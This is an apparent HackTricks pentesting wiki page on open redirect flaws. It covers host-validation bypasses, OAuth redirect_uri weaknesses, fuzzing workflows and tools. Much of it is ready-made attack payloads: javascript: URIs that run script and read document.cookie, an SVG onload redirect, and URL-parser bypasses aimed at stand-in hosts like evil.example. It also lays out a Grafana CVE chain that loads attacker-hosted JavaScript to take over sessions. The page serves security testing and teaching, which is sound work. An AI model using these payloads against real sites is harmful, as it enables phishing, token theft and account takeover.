open-redirect.md (14639B)
1 --- 2 title: "Open Redirect" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/open-redirect.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/open-redirect.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Open Redirect 14 15 ## Open redirect 16 17 ### Redirect to localhost or arbitrary domains 18 19 - If the app “allows only internal/whitelisted hosts”, try alternative host notations to hit loopback or internal ranges via the redirect target: 20 - IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal) 21 - IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1] 22 - Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1. 23 - Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. These are useful when only “subdomains of X” are allowed but host resolution still points to 127.0.0.1. 24 - Network-path references often bypass naive validators that prepend a scheme or only check prefixes:<sup>[[5]](#references)</sup> 25 - //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme. 26 - Userinfo tricks defeat contains/startswith checks against trusted hosts:<sup>[[4]](#references)</sup> 27 - https://trusted.tld@attacker.tld/ → browser navigates to attacker.tld but simple string checks “see” trusted.tld. 28 - Backslash parsing confusion between frameworks/browsers: 29 - https://trusted.tld\@attacker.tld → some backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. This also appears in Node/PHP URL-parser mismatches. 30 - Userinfo/parser differential payloads are still producing real bugs in 2024+: 31 - `https://trusted.example[@attacker.example` or `https://trusted.example%5B@attacker.example` can confuse server-side URL parsers/host validators while browsers still navigate to `attacker.example`. This is especially interesting in frameworks that validate `host` from a parsed object and later redirect with the original string.<sup>[[1]](#references)</sup> 32 33 [Url Format Bypass](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass) 34 35 ### OAuth / SSO allowlist footguns 36 37 - Treat every `redirect_uri`/`returnTo`/`RelayState` allowlist as a high-value target, even when it looks “strict”. Modern IdP bugs keep showing the same anti-patterns:<sup>[[2]](#references)</sup> 38 - **Regex/glob matching instead of exact string comparison**: if a provider stores `https://app.example.com/callback` and later feeds it into a regex matcher, unescaped metacharacters may turn dots into wildcards and accept sibling attacker domains such as `https://appXexample.com/callback`. 39 - **Wildcard-only host checks**: patterns like `https://app.example.com/*` are still exploitable when any allowed path contains an open redirect, user-controlled upload, or script execution sink. 40 - **Validate parsed URL, redirect raw input**: if validation happens on a normalized/decoded representation but the final redirect uses the original string, encoded delimiters and parser mismatches can bring the attacker-controlled origin back. 41 - When testing SSO flows, always repeat the attack with a victim already authenticated to the IdP. Silent approval often turns a “needs login” issue into a one-click code/token leak. 42 - Do not assume that a redirect embedded in a CSRF defense is harmless. If the application validates a token or trusted prefix and then follows an attacker-controlled redirect, that redirect can preserve or expose security-sensitive state.<sup>[[6]](#references)</sup> 43 44 ### Modern open-redirect to XSS pivots 45 46 ```bash 47 #Basic payload, javascript code is executed after "javascript:" 48 javascript:alert(1) 49 50 #Bypass "javascript" word filter with CRLF 51 java%0d%0ascript%0d%0a:alert(0) 52 53 # Abuse bad subdomain filter 54 javascript://sub.domain.com/%0Aalert(1) 55 56 #Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed 57 #This bypasses FILTER_VALIDATE_URL os PHP 58 javascript://%250Aalert(1) 59 60 #Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator) 61 javascript://%250Aalert(1)//?1 62 javascript://%250A1?alert(1):0 63 64 #Others 65 %09Jav%09ascript:alert(document.domain) 66 javascript://%250Alert(document.location=document.cookie) 67 /%09/javascript:alert(1); 68 /%09/javascript:alert(1) 69 //%5cjavascript:alert(1); 70 //%5cjavascript:alert(1) 71 /%5cjavascript:alert(1); 72 /%5cjavascript:alert(1) 73 javascript://%0aalert(1) 74 <>javascript:alert(1); 75 //javascript:alert(1); 76 //javascript:alert(1) 77 /javascript:alert(1); 78 /javascript:alert(1) 79 \j\av\a\s\cr\i\pt\:\a\l\ert\(1\) 80 javascript:alert(1); 81 javascript:alert(1) 82 javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie) 83 javascript:confirm(1) 84 javascript://https://whitelisted.com/?z=%0Aalert(1) 85 javascript:prompt(1) 86 jaVAscript://whitelisted.com//%0d%0aalert(1);// 87 javascript://whitelisted.com?%a0alert%281%29 88 /x:1/:///%01javascript:alert(document.cookie)/ 89 ";alert(0);// 90 ``` 91 92 <details> 93 <summary>More modern URL-based bypass payloads</summary> 94 95 ```text 96 # Scheme-relative (current scheme is reused) 97 //evil.example 98 99 # Credentials (userinfo) trick 100 https://trusted.example@evil.example/ 101 102 # Backslash confusion (server validates, browser normalizes) 103 https://trusted.example\@evil.example/ 104 105 # Schemeless with whitespace/control chars 106 evil.example%00 107 %09//evil.example 108 109 # Prefix/suffix matching flaws 110 https://trusted.example.evil.example/ 111 https://evil.example/trusted.example 112 113 # When only path is accepted, try breaking absolute URL detection 114 /\\evil.example 115 /..//evil.example 116 ``` 117 </details> 118 119 ## Open Redirect uploading svg files 120 121 ```html 122 <code> 123 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 124 <svg 125 onload="window.location='http://www.example.com'" 126 xmlns="http://www.w3.org/2000/svg"> 127 </svg> 128 </code> 129 ``` 130 131 ## Common injection parameters 132 133 ```text 134 /{payload} 135 ?next={payload} 136 ?url={payload} 137 ?target={payload} 138 ?rurl={payload} 139 ?dest={payload} 140 ?destination={payload} 141 ?redir={payload} 142 ?redirect_uri={payload} 143 ?redirect_url={payload} 144 ?redirect={payload} 145 /redirect/{payload} 146 /cgi-bin/redirect.cgi?{payload} 147 /out/{payload} 148 /out?{payload} 149 ?view={payload} 150 /login?to={payload} 151 ?image_url={payload} 152 ?go={payload} 153 ?return={payload} 154 ?returnTo={payload} 155 ?return_to={payload} 156 ?checkout_url={payload} 157 ?continue={payload} 158 ?return_path={payload} 159 success=https://c1h2e1.github.io 160 data=https://c1h2e1.github.io 161 qurl=https://c1h2e1.github.io 162 login=https://c1h2e1.github.io 163 logout=https://c1h2e1.github.io 164 ext=https://c1h2e1.github.io 165 clickurl=https://c1h2e1.github.io 166 goto=https://c1h2e1.github.io 167 rit_url=https://c1h2e1.github.io 168 forward_url=https://c1h2e1.github.io 169 @https://c1h2e1.github.io 170 forward=https://c1h2e1.github.io 171 pic=https://c1h2e1.github.io 172 callback_url=https://c1h2e1.github.io 173 jump=https://c1h2e1.github.io 174 jump_url=https://c1h2e1.github.io 175 click?u=https://c1h2e1.github.io 176 originUrl=https://c1h2e1.github.io 177 origin=https://c1h2e1.github.io 178 Url=https://c1h2e1.github.io 179 desturl=https://c1h2e1.github.io 180 u=https://c1h2e1.github.io 181 page=https://c1h2e1.github.io 182 u1=https://c1h2e1.github.io 183 action=https://c1h2e1.github.io 184 action_url=https://c1h2e1.github.io 185 Redirect=https://c1h2e1.github.io 186 sp_url=https://c1h2e1.github.io 187 service=https://c1h2e1.github.io 188 recurl=https://c1h2e1.github.io 189 j?url=https://c1h2e1.github.io 190 url=//https://c1h2e1.github.io 191 uri=https://c1h2e1.github.io 192 u=https://c1h2e1.github.io 193 allinurl:https://c1h2e1.github.io 194 q=https://c1h2e1.github.io 195 link=https://c1h2e1.github.io 196 src=https://c1h2e1.github.io 197 tc?src=https://c1h2e1.github.io 198 linkAddress=https://c1h2e1.github.io 199 location=https://c1h2e1.github.io 200 burl=https://c1h2e1.github.io 201 request=https://c1h2e1.github.io 202 backurl=https://c1h2e1.github.io 203 RedirectUrl=https://c1h2e1.github.io 204 Redirect=https://c1h2e1.github.io 205 ReturnUrl=https://c1h2e1.github.io 206 ``` 207 208 ## Code examples 209 210 #### .Net 211 212 ```bash 213 response.redirect("~/mysafe-subdomain/login.aspx") 214 ``` 215 216 #### Java 217 218 ```bash 219 response.redirect("http://mysafedomain.com"); 220 ``` 221 222 #### PHP 223 224 ```php 225 <?php 226 /* browser redirections*/ 227 header("Location: http://mysafedomain.com"); 228 exit; 229 ?> 230 ``` 231 232 ## Hunting and exploitation workflow (practical) 233 234 - Single URL check with curl: 235 236 ```bash 237 curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:" 238 ``` 239 240 - Discover and fuzz likely parameters at scale:<sup>[[3]](#references)</sup> 241 242 <details> 243 <summary>Click to expand</summary> 244 245 ```bash 246 # 1) Gather historical URLs, keep those with common redirect params 247 cat domains.txt \ 248 | gau --o urls.txt # or: waybackurls / katana / hakrawler 249 250 # 2) Grep common parameters and normalize list 251 rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \ 252 | sed 's/\r$//' | sort -u > candidates.txt 253 254 # 3) Use OpenRedireX to fuzz with payload corpus 255 cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt 256 257 # 4) Manually verify interesting hits 258 awk '/30[1237]|Location:/I' results.txt 259 ``` 260 </details> 261 262 - Client-side redirectors are easy to miss in bundled JS. Grep for sinks + indicators directly in the built assets/source tree: 263 264 ```bash 265 rg -n "location\.(assign|replace|href)|window\.open|history\.(pushState|replaceState)|redirect(To)?|returnUrl|return_to|continue|next=" dist/ build/ static/ src/ 266 ``` 267 268 - Don’t forget client-side sinks in SPAs: look for `hashchange`, `postMessage`, `window.location/assign/replace`, and framework helpers that read query/hash and redirect.<sup>[[7]](#references)</sup> 269 270 - Frameworks often introduce footguns when redirect destinations are derived from untrusted input (query params, Referer, cookies). See Next.js notes about redirects and avoid dynamic destinations derived from user input. 271 272 [Nextjs](/hacktricks/network-services-pentesting/pentesting-web/nextjs) 273 274 - OAuth/OIDC flows: abusing open redirectors frequently escalates to account takeover by leaking authorization codes/tokens. See dedicated guide: 275 276 [Oauth To Account Takeover](/hacktricks/pentesting-web/oauth-to-account-takeover) 277 278 - Server responses that implement redirects without Location (meta refresh/JavaScript) are still exploitable for phishing and can sometimes be chained. Grep for: 279 280 ```html 281 <meta http-equiv="refresh" content="0;url=//evil.example"> 282 <script>location = new URLSearchParams(location.search).get('next')</script> 283 ``` 284 285 ### Fragment smuggling + client-side traversal chain (Grafana-style bypass) 286 287 - **Server-side gap (Go `url.Parse` + raw redirect)**: validators that only inspect `URL.Path` and ignore `URL.Fragment` can be tricked by placing the external host after `#`. If the handler later builds `Location` from the *unsanitized* string, fragments leak back into the redirect target. Example against `/user/auth-tokens/rotate`: 288 - Request: `GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1` 289 - Parsing sees `Path=/` and `Fragment=/..//\//attacker.com`, so regex + `path.Clean()` approve `/`, but the response emits `Location: /\//attacker.com`, acting as an open redirect.<sup>[[9]](#references)</sup> 290 - **Client-side gap (validate decoded/cleaned, return original)**: SPA helpers that fully decode a path (including double-encoded `?`), strip the query for validation, but then return the *original* string let encoded `../` survive. Browser decoding later turns it into a traversal to any same-origin endpoint (e.g., the redirect gadget). Payload pattern: 291 - `/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate` 292 - The validator checks `/dashboard/script/` (no `..`), returns the encoded string, and the browser walks to `/user/auth-tokens/rotate`. 293 - **End-to-end XSS/ATO**: chain the traversal with the fragment-smuggled redirect to coerce the dashboard script loader into fetching attacker JS: 294 295 ```text 296 https://<grafana>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js 297 ``` 298 299 - The path traversal reaches the rotate endpoint, which issues a 302 to `attacker.com/module.js` from the fragment-smuggled `redirectTo`. Ensure the attacker origin serves JS with permissive CORS so the browser executes it, yielding session theft/account takeover. 300 301 ## Tools 302 303 - [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) – good for single-target checks, archive.org mining and quick CRLF-assisted redirect triage. Example: 304 305 ```bash 306 # Single target 307 python3 oralyzer.py -u "https://target.tld/logout?next=" 308 309 # Mine historical URLs for a host via archive.org 310 python3 oralyzer.py -u "https://target.tld" --wayback 311 312 # CRLF-assisted Location-header checks across candidates 313 python3 oralyzer.py -l candidates.txt -crlf 314 ``` 315 316 - [OpenRedireX](https://github.com/devanshbatham/OpenRedireX) – fuzzer for detecting open redirects.<sup>[[8]](#references)</sup> Example: 317 318 ```bash 319 # Install 320 git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh 321 322 # Fuzz a list of candidate URLs (use FUZZ as placeholder) 323 cat list_of_urls.txt | openredirex -p payloads.txt -k FUZZ -c 50 324 ``` 325 326 327 ## References 328 329 - [1] [New crazy payloads in the URL validation bypass cheat sheet – PortSwigger Research](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet) 330 - [2] [Writeup: Authentik CVE-2024-52289 – Omegapoint Security Blog](https://securityblog.omegapoint.se/en/writeup-authentik-cve-2024-52289/) 331 - [3] [PayloadsAllTheThings – Open Redirect fuzzing lists](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) 332 - [4] [Open Redirect Cheatsheet – pentester.land](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) 333 - [5] [cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) 334 - [6] [Open Redirects: Bypassing CSRF Validations Simplified – InfoSec Write-ups](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a) 335 - [7] [PortSwigger Web Security Academy – DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection) 336 - [8] [OpenRedireX – A fuzzer for detecting open redirect vulnerabilities](https://github.com/devanshbatham/OpenRedireX) 337 - [9] [Grafana CVE-2025-6023 redirect + traversal bypass chain](https://blog.ethiack.com/blog/grafana-cve-2025-6023-bypass-a-technical-deep-dive)